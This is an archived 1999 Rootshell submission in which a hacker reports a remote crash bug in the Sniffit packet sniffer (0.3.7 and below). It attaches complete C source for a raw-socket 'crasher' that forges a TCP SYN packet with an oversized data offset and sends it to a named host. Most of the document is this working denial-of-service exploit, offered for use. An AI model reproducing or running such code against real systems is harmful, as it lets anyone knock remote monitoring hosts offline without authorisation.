[ http://www.rootshell.com/ ] From anihilato@famipow.com Wed Feb 17 16:17:12 1999 Date: Thu, 18 Feb 1999 01:16:31 +0100 From: "K`\\meleon" To: submission@rootshell.com Subject: Sniffit buffer overflow Hi, I discovered the last version of sniffit does segfault when receiving a packet whith a data offset > 5, which means any sniffit can be crashed remotely. Exploit code follows. -- K `\ m e l e o n email : anihilato@famipow.com irc : irc.famipow.com (6667) #europe [ Part 2: "Attached Text" ] /* Sniffit 0.3.7 (and below) crasher * * There is a buffer overflow condition in sniffit when receiving * a packet with a data offset > 5, thus allowing remote denial of service. * * Code follows. * To compile, kiddies : cc -o scrash scrash.c * * K`\meleon (anihilato@famipow.com or irc.famipow.com #europe) */ #include #include #include #include #include #include #include #include #include #define TCPHDR sizeof(struct tcphdr) #define IPHDR sizeof(struct iphdr) #define PACKETSIZE TCPHDR + IPHDR unsigned short in_cksum(unsigned short *ptr,int nbytes){ // this function is rip'd :) register long sum; // assumes long == 32 bits u_short oddbyte; register u_short answer; // assumes u_short == 16 bits sum = 0; while (nbytes > 1) { sum += *ptr++; nbytes -= 2; } if (nbytes == 1) { oddbyte = 0; // make sure top half is zero *((u_char *) &oddbyte) = *(u_char *)ptr; // one byte only sum += oddbyte; } sum = (sum >> 16) + (sum & 0xffff); // add high-16 to low-16 sum += (sum >> 16); // add carry answer = ~sum; // ones-complement, then truncate to 16 bits return(answer); } void resolve_address(struct sockaddr * addr, char *hostname, u_short port) { struct sockaddr_in *address; struct hostent *host; address = (struct sockaddr_in *)addr; (void) bzero( (char *)address, sizeof(struct sockaddr_in) ); address->sin_family = AF_INET; address->sin_port = htons(port); address->sin_addr.s_addr = inet_addr(hostname); if ((int)address->sin_addr.s_addr == -1) { host = gethostbyname(hostname); if (host) { bcopy( host->h_addr, (char *)&address->sin_addr,host->h_length); } else { fprintf(stderr, "Cannot resolve %s, reverting to default 1.2.3.4\n", hostname); address->sin_addr.s_addr = inet_addr("1.2.3.4"); } } } void sendcrash (char *argv[], struct hostent *host) { int sockfd, n; static struct sockaddr_in local_sin; static struct sockaddr_in remote_sin; struct tpack{ struct iphdr ip; struct tcphdr tcp; }tpack; struct pseudo_header{ unsigned source_address; unsigned dest_address; unsigned char placeholder; unsigned char protocol; unsigned short tcp_length; struct tcphdr tcp; }pheader; resolve_address((struct sockaddr *)&local_sin, argv[1], 31337); resolve_address((struct sockaddr *)&remote_sin, argv[2], 31337); tpack.tcp.source=htons(31337); tpack.tcp.dest=htons(31337); tpack.tcp.seq=ntohl(269167349); tpack.tcp.doff=6; // This is it tpack.tcp.res1=0; tpack.tcp.res2=0; tpack.tcp.urg=0; tpack.tcp.ack=0; tpack.tcp.psh=0; tpack.tcp.rst=0; tpack.tcp.syn=1; tpack.tcp.fin=0; tpack.tcp.window=0; tpack.tcp.check=0; tpack.tcp.urg_ptr=0; // IP header tpack.ip.version=4; tpack.ip.ihl=5; tpack.ip.tos=0; tpack.ip.tot_len=htons(IPHDR+TCPHDR); tpack.ip.id=htons(2); tpack.ip.frag_off=0; tpack.ip.ttl=64; tpack.ip.protocol=IPPROTO_TCP; tpack.ip.check=0; tpack.ip.saddr=local_sin.sin_addr.s_addr; tpack.ip.daddr=remote_sin.sin_addr.s_addr; // IP header checksum tpack.ip.check=in_cksum((unsigned short *)&tpack.ip,IPHDR); // TCP header checksum pheader.source_address=(unsigned)tpack.ip.saddr; pheader.dest_address=(unsigned)tpack.ip.daddr; pheader.placeholder=0; pheader.protocol=IPPROTO_TCP; pheader.tcp_length=htons(TCPHDR); bcopy((char *)&tpack.tcp,(char *)&pheader.tcp,TCPHDR); tpack.tcp.check=in_cksum((unsigned short *)&pheader,TCPHDR+12); if ( (sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1) { perror("socket"); exit(1); } printf("Discovered and coded by K`\\meleon\n"); printf("Sending crash...\n"); n = sendto(sockfd, &tpack, PACKETSIZE, 0, (struct sockaddr *)&remote_sin, sizeof(remote_sin)); if (n != PACKETSIZE) { perror("Damn, crash packet was not sent properly"); close(sockfd); exit(1); } printf("CraSh SenT #$!\n"); close(sockfd); } main(int argc, char *argv[]) { int i; struct hostent *host; if ( (getuid() != 0) && (geteuid() != 0) ) { printf("Sniffit CraSheR\n"); printf("Discovered and coded by K`\\meleon\n"); printf("You need to be r00t to run this prog...\n"); exit(1); } if (argc != 3 ) { printf("Sniffit CraSheR\n"); printf("Discovered and coded by K`\\meleon\n"); printf("Usage : %s \n", argv[0]); exit(1); } if ( (host = gethostbyname(argv[2])) == 0) { herror("Hostname"); exit(1); } sendcrash(argv, host); }